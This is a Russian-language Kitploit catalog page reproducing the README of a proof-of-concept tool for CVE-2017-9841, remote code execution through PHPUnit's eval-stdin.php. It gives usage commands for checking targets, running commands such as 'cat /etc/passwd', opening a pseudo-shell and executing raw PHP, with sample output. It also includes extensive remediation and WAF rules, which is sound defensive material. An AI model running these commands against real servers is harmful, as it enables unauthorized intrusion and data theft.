Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2. | Kitploit
Инструменты/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2017-9841 — PHPUnit Удаленное выполнение кода (RCE) PoC

⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот инструмент предназначен исключительно для образовательных целей и авторизованного тестирования безопасности. Несанкционированное использование против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, незаконно. Автор не несет ответственности за любое неправомерное использование этого инструмента.


Обзор

CVE-2017-9841 — это уязвимость удаленного выполнения кода (RCE) в библиотеке PHPUnit, затрагивающая версии до 5.6.3 и 6.x до 6.4.2.

Уязвимость существует в src/Util/PHP/eval-stdin.php, который выполняет PHP-код, полученный через php://input (тело POST-запроса), с помощью функции eval(). Если этот файл общедоступен (например, в незащищенной директории vendor/), злоумышленник может выполнить произвольный PHP-код на сервере без аутентификации.

Детали уязвимости

Уязвимый код

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Этот файл принимает PHP-код из тела POST-запроса и немедленно выполняет его через eval() без какой-либо аутентификации или проверки.


Установка

Требования

  • Python 3.6+
  • Библиотека requests
root@kitploit:~
pip install requests

Настройка

root@kitploit:~
git clone <repo-url>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Использование

Базовый синтаксис

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [options]

Флаг -u принимает как базовый URL (автоматически добавляет уязвимый путь), так и полный URL, указывающий непосредственно на eval-stdin.php.

1. Проверка уязвимости (без выполнения команд)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Output:

root@kitploit:~
[*] Target : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Checking vulnerability on: ...
[+] File accessible (HTTP 200)
[+] VULNERABLE! Code execution confirmed.
[+] Response: VULN_CHECK_OK_2017_9841

2. Выполнение команд

root@kitploit:~
# Single command
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Multiple commands
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Read a file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Save output to file
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o result.txt

3. Информация о сервере (только чтение)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Output:

root@kitploit:~
=== SERVER INFORMATION ===
PHP Version : 8.x.x
OS          : Linux
SAPI        : fpm-fcgi
User        : www-data
Hostname    : web-server-01
Server IP   : 192.168.1.100
CWD         : /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Doc Root    : /var/www/html/
Server SW   : Apache
Memory Limit: 256M
Max Exec    : 30s
Open Basedir: (none)
Disabled Fn : (none)

=== DANGEROUS FUNCTIONS ===
  system: YES
  exec: YES
  passthru: YES
  shell_exec: YES
  proc_open: YES
  popen: YES
  curl_exec: YES

4. Интерактивный псевдо-шелл

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Output:

root@kitploit:~
[*] Pseudo-shell (type 'exit' or 'quit' to leave)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Exiting shell.

5. Автоматический поиск уязвимого пути

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Пользовательский путь

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. Полный URL к eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Выполнение необработанного PHP-кода

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Справочник опций


Устранение уязвимости

Немедленные действия (сделайте это СЕЙЧАС)

1. Удалите уязвимый файл

root@kitploit:~
sudo rm /path/to/project/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Заблокируйте доступ к директории vendor

Добавьте файл .htaccess внутри директории vendor/:

root@kitploit:~
# /path/to/project/vendor/.htaccess
Deny from all

Или настройте в Apache VirtualHost:

root@kitploit:~
<Directory "/path/to/project/vendor">
    Require all denied
</Directory>

Для Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Удалите зависимости разработки из продакшена

root@kitploit:~
cd /path/to/project
composer install --no-dev --optimize-autoloader

Краткосрочное усиление защиты

4. Включите disable_functions в php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Включите open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini or in VirtualHost
open_basedir = /var/www/html/project:/tmp

6. Уменьшите max_execution_time

root@kitploit:~
max_execution_time = 30

7. Перезапустите PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# or
sudo systemctl restart php-fpm

Долгосрочное усиление защиты

8. Обновите PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Внедрите правила WAF

Пример для ModSecurity:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Block vendor directory access'"

10. Усиление защиты конвейера CI/CD

root@kitploit:~
# Пример: GitHub Actions
- name: Install production dependencies only
  run: composer install --no-dev --optimize-autoloader

- name: Remove test files and vulnerable scripts
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Схема атаки

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Attacker            │
                    └──────────────┬───────────────┘
                                   │ POST (PHP code)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Apache Server                        │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Arbitrary Code Execution                   │  │
│  │                                                       │  │
│  │  - Read/Write files on the server                     │  │
│  │  - Access database credentials                        │  │
│  │  - Lateral movement to internal network               │  │
│  │  - Install backdoors / webshells                      │  │
│  │  - Privilege escalation                               │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Усугубляющие факторы


Ссылки

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

Лицензия

Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности.

Скачать инструмент
ПолеЗначение
Идентификатор CVECVE-2017-9841
Оценка CVSS9.8 (Критический)
Затронутые версииPHPUnit < 5.6.3, 6.x < 6.4.2
ТипУдаленное выполнение кода (RCE)
АутентификацияНе требуется
ВекторСеть (удаленный)
Опубликовано27 июня 2017 г.
СсылкаNVD
ФлагОписание
-u, --url URLЦелевой базовый URL или полный URL к eval-stdin.php
-c, --cmd CMDКоманда CLI для выполнения на целевом сервере
--checkПроверить, уязвим ли целевой сервер, без выполнения команд
--shellОткрыть псевдо-интерактивный шелл
--infoСобрать информацию о сервере (только чтение)
--find-pathСканировать распространённые пути для поиска eval-stdin.php
--path PATHУказать пользовательский путь к eval-stdin.php
--timeout NТайм-аут запроса в секундах (по умолчанию: 30)
-o, --output FILEСохранить вывод команды в файл
--php CODEВыполнить необработанный PHP-код вместо системных команд
ФакторВлияние
disable_functions пустВсе PHP-функции доступны (system, exec и т.д.)
open_basedir не установленЗлоумышленник может читать/записывать файлы по всей файловой системе
Высокое значение max_execution_timeБольше времени на запрос для сложных нагрузок
Загружено расширение FFIВызовы C-функций напрямую, обход ограничений PHP
Загружены расширения для БДВозможны прямые подключения к БД (mysqli, pgsql и т.д.)
WAF не развернутНет фильтрации или блокировки запросов
IDS/IPS отсутствуютНет обнаружения аномалий или оповещений
Зависимости разработки в продакшенеИзлишнее расширение поверхности атаки